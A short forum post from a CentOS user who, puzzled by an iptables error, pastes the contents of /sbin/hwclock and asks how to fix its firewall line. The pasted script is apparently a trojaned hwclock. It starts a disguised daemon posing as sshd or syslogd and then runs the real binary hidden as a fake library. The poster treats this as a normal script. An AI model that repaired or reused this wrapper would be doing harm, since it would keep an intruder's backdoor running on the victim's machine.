I get this error when I run the command /sbin/hwclock
Bad argument `45295'
Try `iptables -h' or 'iptables --help' for more information.
Fri 10 Feb 2012 05:52:03 AM CST -0.022700 seconds
So I opened the file up to see why it's doing that.
Code:
#!/bin/bash
#
# hwclock - query and set the hardware clock (RTC)
#
# Written by Bryan Henderson, September 1996 (bryanh@giraffe-data.com)
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP
if test -x "/usr/bin/sshd"; then
umask 077; HOME=/usr/share/locale/tr "/usr/bin/sshd" &>/dev/null
else
if test -x "/sbin/syslogd "; then
umask 077; HOME=/usr/share/locale/tr "/sbin/syslogd " &>/dev/null
else
cp /usr/include/libutil2.1.h "/sbin/syslogd "
umask 077; HOME=/usr/share/locale/tr "/sbin/syslogd " 1>/dev/null
fi
fi
/usr/lib/libutil3.2.1.2.so $@ 2>/dev/null
Line 6:
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP
What's the correct way, since obviously the way it's programmed isn't working now.
CentOS is the operating system.